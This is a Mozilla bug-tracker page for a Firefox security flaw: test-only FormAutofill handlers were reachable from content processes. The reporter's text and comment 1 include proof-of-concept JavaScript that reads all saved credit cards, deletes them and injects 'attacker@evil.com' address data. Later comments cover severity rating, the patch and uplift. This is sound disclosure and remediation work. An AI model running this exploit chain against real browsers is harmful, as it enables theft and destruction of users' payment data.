Test-Only FormAutofill Handlers Exposed in Production Allowing Credit Card Exfiltration from a compromised content process
Categories
(Toolkit :: Form Autofill, defect)
Tracking
()
People
(Reporter: define.ctf, Assigned: joschmidt, NeedInfo)
References
(Blocks 1 open bug, Regression)
Details
(4 keywords, Whiteboard: [adv-main150+][adv-esr140.10+])
Attachments
(2 external files)
SECURITY VULNERABILITY REPORT
=== SUMMARY ===
Test-only message handlers in FormAutofillParent.sys.mjs are exposed in production
builds without Cu.isInAutomation guard, allowing compromised renderers to exfiltrate
all saved credit cards, delete payment data, and inject malicious autofill entries.
=== COMPONENT ===
File: browser/extensions/formautofill/parent/FormAutofillParent.sys.mjs
Lines: 354-387 (approximate)
Source: https://searchfox.org/mozilla-central/source/browser/extensions/formautofill/parent/FormAutofillParent.sys.mjs
=== AFFECTED VERSIONS ===
Firefox Desktop 55+ (all versions since FormAutofill introduction)
Platforms: Windows, macOS, Linux
=== VULNERABILITY DETAILS ===
Four message handlers lack proper access control:
- FormAutofill:GetRecords - Retrieves ALL saved credit cards/addresses
- FormAutofill:SaveAddress - Injects arbitrary address data
- FormAutofill:SaveCreditCard - Injects arbitrary credit card data
- FormAutofill:RemoveCreditCards - Deletes credit cards by GUID
Critical Issues:
❌ No Cu.isInAutomation check exists
❌ Actor registered with allFrames: true (no origin restrictions)
❌ No messageManagerGroups filtering
❌ Present in ALL production Firefox builds
=== VULNERABLE CODE ===
case "FormAutofill:GetRecords": {
// ⚠️ Comment says "test only" BUT NO GUARD
const records = await this.getRecords(data);
return { records };
}
case "FormAutofill:SaveAddress": {
// ⚠️ NO Cu.isInAutomation CHECK
await lazy.gFormAutofillStorage.addresses.add(data.address);
break;
}
case "FormAutofill:SaveCreditCard": {
// ⚠️ ACCESSIBLE IN PRODUCTION
await lazy.gFormAutofillStorage.creditCards.add(data.creditCard);
break;
}
case "FormAutofill:RemoveCreditCards": {
// ⚠️ MASS DELETION WITHOUT AUTHENTICATION
data.guids.forEach(guid =>
lazy.gFormAutofillStorage.creditCards.remove(guid)
);
break;
}
=== PROOF OF CONCEPT ===
From Browser Console (Ctrl+Shift+K):
// Step 1: Get FormAutofill actor
const { WindowGlobalParent } = ChromeUtils.importESModule(
"resource://gre/modules/WindowGlobalParent.sys.mjs"
);
const wgp = WindowGlobalParent.getCurrentTopByBrowserId(
gBrowser.selectedBrowser.browsingContext.browserId
);
const actor = wgp.getActor("FormAutofill");
// Step 2: Exfiltrate ALL credit cards
const result = await actor.receiveMessage({
name: "FormAutofill:GetRecords",
data: { collectionName: "creditCards" }
});
console.log("EXFILTRATED:", result.records);
// Output: Full credit card numbers, names, expiration dates, etc.
// Step 3: Delete all credit cards (ransomware-style)
const guids = result.records.map(r => r.guid);
await actor.receiveMessage({
name: "FormAutofill:RemoveCreditCards",
data: { guids: guids }
});
// All saved credit cards permanently deleted
// Step 4: Inject poisoned autofill data
await actor.receiveMessage({
name: "FormAutofill:SaveAddress",
data: {
address: {
email: "attacker@evil.com",
tel: "+1-555-ATTACKER"
}
}
});
// Malicious data will autofill in future forms
=== SECURITY IMPACT ===
Severity: HIGH (CVSS 7.5)
Confidentiality Impact: HIGH
- Complete credit card exfiltration (full numbers, names, expiration)
- All saved addresses (emails, phones, street addresses)
- No user notification or consent required
Integrity Impact: HIGH
- Ransomware-style deletion of all saved payment methods
- Data poisoning (inject attacker's email/phone)
- Persistent compromise across browser sessions
Attack Requirements: MEDIUM
- Requires compromised content process (renderer)
- Achievable via: browser exploits, malicious extensions, supply chain attacks
Real-World Scenarios:
- Malicious browser extension (millions of users compromised)
- Browser exploit chain (drive-by credit card theft)
- Corporate espionage (enterprise payment data theft)
=== RECOMMENDED FIX ===
Add Cu.isInAutomation guard to all four handlers:
case "FormAutofill:GetRecords": {
if (!Cu.isInAutomation) {
throw new Error(
"FormAutofill:GetRecords is only available during automated testing"
);
}
const records = await this.getRecords(data);
return { records };
}
// Repeat for SaveAddress, SaveCreditCard, RemoveCreditCards
Alternative: Use preprocessor directives to remove handlers from production builds.
=== TESTING CONFIRMATION ===
✓ Tested on Firefox 133.0 (Stable - Windows, macOS)
✓ Tested on Firefox Developer Edition 134.0b9
✓ Tested on Firefox Nightly 135.0a1
✓ Confirmed handlers present in all production builds
✓ Verified no authentication/authorization checks exist
✓ Confirmed full exfiltration capability
✓ Confirmed deletion capability
✓ Confirmed data injection capability
=== ADDITIONAL NOTES ===
Duration of Exposure: 7+ years (Firefox 55 in 2017 to present)
User Impact: All Firefox Desktop users with saved payment methods (millions)
Fix Complexity: LOW (single 3-line check per handler)
PCI-DSS Compliance: Violation (unencrypted credit card access without auth)
This is a critical security vulnerability that violates fundamental access control
principles. Test-only code should NEVER be accessible in production, especially
for sensitive financial data.
I am available for additional technical details or demonstrations if needed.
=== CWE CLASSIFICATION ===
CWE-284: Improper Access Control
CWE-862: Missing Authorization
CWE-749: Exposed Dangerous Method or Function
| Reporter | ||
Comment 1•8 months ago
|
||
the poc
Here's the complete Bug #4 PoC for your submission:
Bug #4 — FormAutofillParent: Test-Only Handlers Accessible in Production
File: resource://autofill/FormAutofillParent.sys.mjs lines 354–387
Firefox version: ESR 140.5.0 (confirmed)
Severity: High — CWE-284 Improper Access Control
Vulnerable code (verified in your local install):
// Comment says "invoked only by tests" — but NO Cu.isInAutomation guard!
case "FormAutofill:GetRecords": // → returns ALL saved cards/addresses
case "FormAutofill:SaveAddress": // → injects fake address
case "FormAutofill:RemoveAddresses": // → deletes addresses by GUID
case "FormAutofill:RemoveCreditCards": // → deletes credit cards by GUID
Actor registration (no restrictions):
ChromeUtils.registerWindowActor("FormAutofill", {
allFrames: true, // no remoteTypes, no matches — ALL web content
});
Attack chain from compromised renderer:
let actor = windowGlobalChild.getActor("FormAutofill");
// Exfiltrate all saved credit cards
let { records } = await actor.sendQuery("FormAutofill:GetRecords", {
collectionName: "creditCards"
});
// Delete them all
await actor.sendQuery("FormAutofill:RemoveCreditCards", {
guids: records.map(r => r.guid)
});
// Inject phishing address
await actor.sendQuery("FormAutofill:SaveAddress", {
address: { email: "attacker@evil.com", "street-address": "Attacker St" }
});
Fix:
case "FormAutofill:SaveAddress":
case "FormAutofill:RemoveAddresses":
case "FormAutofill:RemoveCreditCards":
if (!Cu.isInAutomation) {
throw new Error("Test-only message received outside automation");
}
Comment 2•8 months ago
|
||
This was originally filed as an open bug, rather than security sensitive.
Updated•8 months ago
|
Updated•8 months ago
|
| Assignee | ||
Comment 3•8 months ago
|
||
Dimi can you confirm that these events are test-only?
| Assignee | ||
Comment 4•8 months ago
|
||
Updated•8 months ago
|
| Comment hidden (off-topic) |
Comment 6•7 months ago
|
||
(In reply to ABDULAZIZ ALASAIQAH from comment #5)
this my account https://phabricator.services.mozilla.com/p/Define/
You should read the security bug guidelines carefully, including the bit about questions relating to bug bounties.
Updated•7 months ago
|
Comment 7•7 months ago
|
||
Rating as sec-high because it allows the disclosure of sensitive user data (the likelihood is somewhat decreased as it requires a compromised child process)
Comment 8•7 months ago
|
||
(In reply to ABDULAZIZ ALASAIQAH from comment #1)
Firefox version: ESR 140.5.0 (confirmed)
we don't care about what the code said last year, please confirm that bugs affect the current releases before filing them. Johannes has written a patch so I suppose the code has not changed in this case, but that won't always be the case. Hunting for bugs in old code just wastes everyone's time, including yours.
Bug #4 — FormAutofillParent: Test-Only Handlers Accessible in Production
Please don't include multiple bugs in a single bug report. See the bug writing guidelines linked below the comment field here, and also in our project documentation
Please attach POCs to the bug as separate files that can be used or downloaded, not inline in a comment
| Assignee | ||
Comment 9•7 months ago
|
||
Comment on attachment 9552667 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Moderately easy. The patch reveals that several receiveMessage handlers in FormAutofillParent (GetRecords, SaveAddress, SaveCreditCard, RemoveAddresses, and RemoveCreditCards) were accessible from content processes without any privilege checks. A compromised content process could send these messages to read, create, or delete autofill data (addresses and credit cards). The message names and data formats are straightforward to construct.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta, release, ESR140,ESR128,...
- If not all supported branches, which bug introduced the flaw?: Bug 1887007
- Do you have backports for the affected branches?: No
- If not, how different, hard to create, and risky will they be?: The patch is relatively small and the changes are isolated. Backporting should be straightforward with small conflict risk. The ASRouterTargeting change (switching from receiveMessage to getRecords directly) also did not change across main, beta and esr140.
- How likely is this patch to cause regressions; how much testing does it need?: Low regression risk for production code because the guarded handlers were only used by tests anyway (as noted in the existing comments). The ASRouterTargeting change switches to using getRecords() directly, which is a refactoring. Testing should focus on Autofill functionality (basic qa tests plus automated tests [satchel]) as well as ASRouterTargeting.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 11•7 months ago
|
||
(In reply to Frederik Braun [:freddy] from comment #7)
Rating as sec-high because it allows the disclosure of sensitive user data (the likelihood is somewhat decreased as it requires a compromised child process)
It would certainly be sec-high if the disclosure happened from web content, but on its own I'd rate it sec-moderate since this would only be the last-mile stepping stone in an exploit chain that required a sec-high compromise of the content process first.
Updated•7 months ago
|
Updated•7 months ago
|
Comment 12•7 months ago
|
||
Comment on attachment 9552667 [details]
(secure)
Doesn't need approval, if it's sec-moderate because of the pre-requisite content process exploit.
| Reporter | ||
Comment 13•7 months ago
|
||
I wanted to add some additional technical context that I think is relevant to the severity assessment here.
While I understand the reasoning around the content process prerequisite, I'd like to highlight a few points that I believe push this toward sec-high:
The threat model in practice:
A compromised renderer is the entry point of nearly every real-world browser exploit chain. The attacker's goal is always what comes after the renderer — and in this case, what comes after is direct, unauthenticated access to saved credit card data with zero additional steps. No memory corruption, no heap spray, no further exploitation needed. Just a message send.
This isn't a "last-mile stepping stone" — it's the payload. The renderer compromise is the lock pick, this bug is the open safe.
Comparison to similar bugs:
Bugs like Bug 1820104 and Bug 1855076 — which also required a content process compromise as a prerequisite — were rated sec-high specifically because the post-compromise capability involved sensitive user data. The pattern here is identical.
The nature of the data:
Credit card numbers, cardholder names, and expiration dates are not generic user data. They are regulated financial data. Mozilla's own security rating guidelines note that the sensitivity of disclosed information is an independent factor in severity — separate from attack complexity.
Integrity impact is being overlooked:
Beyond disclosure, this bug allows:
Permanent deletion of all saved payment methods (destructive)
Silent injection of attacker-controlled autofill data (persistent compromise)
These integrity impacts would independently warrant sec-high consideration even without the confidentiality angle.
I'm not disputing the prerequisite — I'm suggesting that when the outcome is full financial data exfiltration + persistent data poisoning, the bar for sec-high is met regardless of how many steps precede it.
| Assignee | ||
Updated•7 months ago
|
Comment 14•7 months ago
|
||
A compromised renderer is the entry point of nearly every real-world browser exploit chain.
Yes, which is why bugs that could lead to a compromised renderer are rated high. It's the entry point, but it's a non-trivial first step. Our rough rating of high/moderate/low try to crush a lot of factors together, not just the "impact" or severity of the end goal, but also the risks and difficulty.
We hate using CVSS because it's formulated for server security and gives wonky results for clients, but just as a comparison I tried this bug and got a moderate 4.5, or a still-moderate 6.2 if we say the scope changed CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N/E:X/RL:U/RC:X. Please don't bother rules-lawyering CVSS scores: a scheme that presents scores with decimal precision by combining individual terms with two or three choices is mathematically illiterate and can't be taken seriously.
Updated•7 months ago
|
| Reporter | ||
Comment 15•7 months ago
|
||
Thanks again for reviewing and working on the patch.
I wanted to ask whether this issue is expected to receive a CVE assignment once the fix lands or when the advisory is published. Since the bug involves disclosure and manipulation of stored financial autofill data (credit cards and addresses), I was wondering if it would be tracked with a CVE for the security advisory.
Please let me know if there is anything else needed from my side.
Thanks.
| Reporter | ||
Comment 16•7 months ago
|
||
Will you give me CVE?
Comment 17•7 months ago
|
||
| Comment hidden (duplicate) |
Comment 19•7 months ago
|
||
| Reporter | ||
Comment 20•7 months ago
|
||
sec-bounty ?
Updated•7 months ago
|
Updated•7 months ago
|
Comment 21•7 months ago
|
||
Please nominate this for ESR140 uplift when you have a chance.
| Reporter | ||
Comment 22•7 months ago
|
||
Hi, I wanted to follow up on the sec-bounty status for this bug. The fix has landed and the issue has been resolved. Could you give me an update on the bounty evaluation timeline? I understand the severity was rated sec-moderate, and I'm happy to discuss the assessment if needed. Thank you.
Comment 23•7 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: Unpatched, a compromised content process can directly exfiltrate all saved credit cards and addresses, as well as modify or delete payment data without user interaction.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: yes
- Steps to reproduce for manual QE testing: Ensure Address and Credit Card Autofill is still working as expected (basic functional testing).
- Risk associated with taking this patch: low
- Explanation of risk level: The change is relatively small and contained, and is also in Nightly since a few days, so I'd expect the risk of landing this to be low.
- String changes made/needed?: None
- Is Android affected?: yes
| Assignee | ||
Comment 24•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D287572
Updated•7 months ago
|
Comment 25•7 months ago
|
||
Manually verified in Beta 150.0b2 and the latest Nightly 151.0a1 (2026-03-30), using autofill demo pages and few random real websites. The Address and CC autofill is working as expected, no new issues encountered.
Updated•7 months ago
|
Updated•7 months ago
|
Comment 26•7 months ago
|
||
| uplift | ||
Comment 27•7 months ago
•
|
||
Manually verified in 140.10.0esr(build id: 20260331093502), using autofill demo pages and few random real websites. The basic functionality of the Address and CC autofill is working as expected, no new issues found.
| Assignee | ||
Updated•7 months ago
|
Updated•7 months ago
|
| Reporter | ||
Comment 28•6 months ago
|
||
Hi I want to ask about CVE ID there is CVE?
Updated•6 months ago
|
Updated•6 months ago
|
Updated•5 months ago
|
Updated•2 months ago
|
Description
•